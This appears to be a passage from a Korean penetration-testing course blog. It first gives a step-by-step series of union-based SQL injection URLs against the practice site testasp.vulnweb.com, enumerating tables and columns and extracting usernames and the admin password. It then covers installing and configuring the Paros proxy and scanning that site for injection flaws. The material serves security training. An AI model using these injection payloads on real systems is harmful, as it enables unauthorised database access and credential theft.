-> 첫번째 테이블 이름은 threads 라는것을 확인할 수 있다.
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from sysobjects where xtype=0x55 and name not in ('threads')--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from sysobjects where xtype=0x55 and name not in ('threads', 'users')--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from sysobjects where xtype=0x55 and name not in ('threads', 'users', 'forums')--
⑦ users 테이블의 필드 개수 확인
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 count(*), 22 from syscolumns where id=(select id from sysobjects where name='users')--
⑧ users 테이블의 필드 확인
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users')--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('uname')--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('uname', 'upass')--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('uname', 'upass', 'email')--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('uname', 'upass', 'email', realname')--
⑨ users 테이블의 users, upass 필드 정보 확인
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 uname, 22 from users--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 uname, 22 from users
where uname not in (select top 1 uname from users)--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 uname, 22 from users
where uname not in (select top 140 uname from users)--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 upass, 22 from users
where uname='admin'--
(원복) 서비스 종료
<CTRL + SHIFT + ESC> => 서비스 탭 => 오른쪽 하단의 "서비스"
서비스 이름:
SQL Server,
SQL Browser,
SQL Server VSS Writer
■ JDK 설치(환경변수 설정)
■ ANT 설치(환경변수 설정)
■ 파로스(Paros) 설치
■ 파로스 proxy 설정
■ 웹브라우저 proxy 서버 지정
준비 사항
● \\172.16.13.1\CD & DVD\Paros 디렉토리안의 프로그램을 사용한다.
① JDK 설치
● 기존에 설치되어 있는 JDK 64bit 삭제하고 32bit를 설치한다.
■ (Optinal) 미리 64bit JDK 설치된 경우는 JDK 64bit 프로그램 삭제
제어판 > 프로그램 및 기능 > "Java 8 Update 31" > 제거 > 예
■ JDK 32bit 설치
● 삭제가 완료되었다면 Paros 디렉토리안의 JDK 32bit(EX: jdk-8u25-windows-i586)를 사용하여 설치한다.
● 설치과정에서 확인한 설치된 디렉토리와 bin 디렉토리
(EX: C:\Program Files (x86)\Java\jdk1.8.0_25\bin)
■ JDK 환경 변수(Path) 설정
● 내컴퓨터 > 속성 > 고급 시스템 설정 > 환경 변수 > "Path" 변수 선택 >
C:\Program Files (x86)\Java\jdk1.8.0_25\bin;C:\ProgramData\Oracle\Java\javapath;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;C:\APM_Setup\Server\Apache\bin;C:\APM_Setup\Server\MySQL5\bin;C:\APM_Setup\Server\PHP5;c:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\;c:\Program Files (x86)\Microsoft SQL Server\110\DTS\Binn\;c:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\ManagementStudio\
■ JDK 설치 확인
Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\soldesk>java -version java version "1.8.0_25" Java(TM) SE Runtime Environment (build 1.8.0_25-b18) Java HotSpot(TM) Client VM (build 25.25-b02, mixed mode, sharing) |
② ANT 설치
■ ANT 다운로드
● http://ant.apache.org/bindownload.cgi
● 파일이름: apache-ant-1.9.4-bin.zip
■ ANT 압축해제
● 압축해제된 디렉토리(EX: C:\apache-ant-1.9.4)
■ ANT 환경변수(EX: Path) 설정
● 내컴퓨터 > 속성 > 고급 시스템 설정 > 환경 변수 > Path 변수 선택 >
C:\apache-ant-1.9.4\bin;C:\Program Files (x86)\Java\jdk1.8.0_25\bin;C:\ProgramData\Oracle\Java\javapath;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;C:\APM_Setup\Server\Apache\bin;C:\APM_Setup\Server\MySQL5\bin;C:\APM_Setup\Server\PHP5;c:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\;c:\Program Files (x86)\Microsoft SQL Server\110\DTS\Binn\;c:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\ManagementStudio\
■ 설정 확인
C:\Users\soldesk> ant Buildfile: build.xml does not exist! Build failed |
-> ant 실행이 정상적으로 되고 있다. 위의 에러 메세지는 ant가 build.xml 파일이 없는데에서 실행했기 때문이다. 설치는 정상적으로 된것으로 판단된다.
③ 파로스 설치
■ 파로스 다운로드
■ 파로스 압축해제
● 압축 해제된 디렉토리(EX: C:\paros-3.2.13-src)
■ 에러나는 파일 설정/변경
C:\paros-3.2.13-src\paros\src\org\parosproxy\paros\extension\history\HistoryFilterDialog.java -> 파일 변경
[수정전] * Created on 2004?7ㅻ23ㅹ [수정후] // * Created on 2004?7ㅻ23ㅹ |
C:\paros-3.2.13-src\paros\src\org\parosproxy\paros\extension\history\LogPanel.java
-> 파일 변경
[수정전] * Created on 2004?7ㅻ4ㅹ [수정후] // * Created on 2004?7ㅻ4ㅹ |
■ 파로스 build(ant 실행)
C:\Users\soldesk> cd C:\paros-3.2.13-src\paros\build
C:\paros-3.2.13-src\paros\build> ant
Buildfile: C:\paros-3.2.13-src\paros\build\build.xml
init: [delete] Deleting directory C:\paros-3.2.13-src\paros\build\build [mkdir] Created dir: C:\paros-3.2.13-src\paros\build\build
compile: [javac] C:\paros-3.2.13-src\paros\build\build.xml:23: warning: 'includeantru ntime' was not set, defaulting to build.sysclasspath=last; set to false for repe atable builds [javac] Compiling 258 source files to C:\paros-3.2.13-src\paros\build\build [javac] Note: Some input files use or override a deprecated API. [javac] Note: Recompile with -Xlint:deprecation for details. [javac] Note: Some input files use unchecked or unsafe operations. [javac] Note: Recompile with -Xlint:unchecked for details.
dist: [mkdir] Created dir: C:\paros-3.2.13-src\paros\build\paros [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros [copy] Copying 7 files to C:\paros-3.2.13-src\paros\build\build\resource [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\build\xml [copy] Copying 14 files to C:\paros-3.2.13-src\paros\build\paros\xml [copy] Copying 8 files to C:\paros-3.2.13-src\paros\build\paros\db [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros\filter [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros\plugin [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros\session [copy] Copying 6 files to C:\paros-3.2.13-src\paros\build\paros\license [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros\log [copy] Copying 13 files to C:\paros-3.2.13-src\paros\build\paros [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros [jar] Updating jar: C:\paros-3.2.13-src\paros\build\paros\paros.jar
BUILD SUCCESSFUL Total time: 5 seconds |
-> C:\paros-3.2.13-src\paros\build\paros\paros.jar 파일이 생성된다.
-> 새로운 룰을 만들면 paros.jar 파일을 새로 만들어야 한다.(ant 명령어를 다시 돌려야 한다.)
④ 파로스 proxy 설정
파로스를 실행한다.
● (명령어 창에서 수행 방법)
c:\Users\soldesk> cd c:\paros-3.2.13-src\paros\build\paros
c:\paros-3.2.13-src\paros\build\paros> java -jar paros.jar
● (윈도우 환경에서 실행 방법)
c:\paros-3.2.13-src\paros\build\paros 디렉토리로 이동하여 paros.jar 파일을 더블 클릭
-> (권장) 바탕화면의 아이콘으로 만들면 좋다. -> 바로가기 아이콘을 생성한다.
상단 메뉴 중 "Tools" > "Options" > "Local proxy" > OK
Local proxy 설정은 다음과 같이 한다.
-----------------------------------------------
Address (eg localhost, 127.0.0.1) : localhost
Port (eg 8080) : 8000
-----------------------------------------------
⑤ 웹브라우저에서 paros proxy 지정
(주의) 실행된 paros는 종료하면 안된다.(proxy 서버이기 때문에)
웹브라우저 실행(IE 기준)
도구 > 인터넷 옵션 > 연결 > LAN 설정 >
웹브라우저 설정은 다음과 같이 한다.
------------------------------------
주소(E) : 127.0.0.1
포트(T) : 8000
------------------------------------
웹브라우저의 설정이 끝났다면 웹브라우저에서 www.google.com 입력하고 paros 쪽에서 확인한다.
불필요한 정보는 "Purge (from DB)"을 선택하여 삭제한다.
⑥ 모의 테스트 1 (웹 스캐너를 통한 간단한 점검)
(웹브라우저에서) 모의 테스트 대상이 되는 http://testasp.vulnweb.com 접속한다.
testasp.vulnweb.com 사이트를 선택한 상태에서
Analyse > Spider
선택하여 대상 사이트의 정보수집(spider)를 수행한다.
반드시 "Start" 버튼을 눌러야 정보수집(spider)가 시작된다.
Analyse > Scan Policy > Plugin Category > Injection > OK
테스트 하고 싶은 룰을 선택(기본적으로 모든 룰에 대한 부분이 체크되어 있다.)
아래 그림과 같이 나온다.
다음과 같이 취약점을 스캔한다.
Analyse > Scan
-> 점검하는데 약간을 시간이 걸린다.(약 3분 ~ 5분정도)
-> 현재 점검에서는 195초(약 3분정도) 걸렸다.
점검 결과인 하단을 보면 Alerts 부분의 High로 표시된 곳에
http://testasp.vulnweb.com/showforum.asp?=2'INJECTED_PARAM
http://testasp.vulnweb.com/showthread.asp?=3'INJECTED_PARAM
표시된것을 확인할 수 있다.




'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글
20160830 XML, CRLF, XSS Injection (0) | 2016.08.31 |
---|---|
20160829 SQL Injection & XML Injection (0) | 2016.08.29 |
20160825 웹보안 (0) | 2016.08.25 |
20160825 BitLocker (0) | 2016.08.25 |
20160824 윈도우즈 서버 보안 (0) | 2016.08.24 |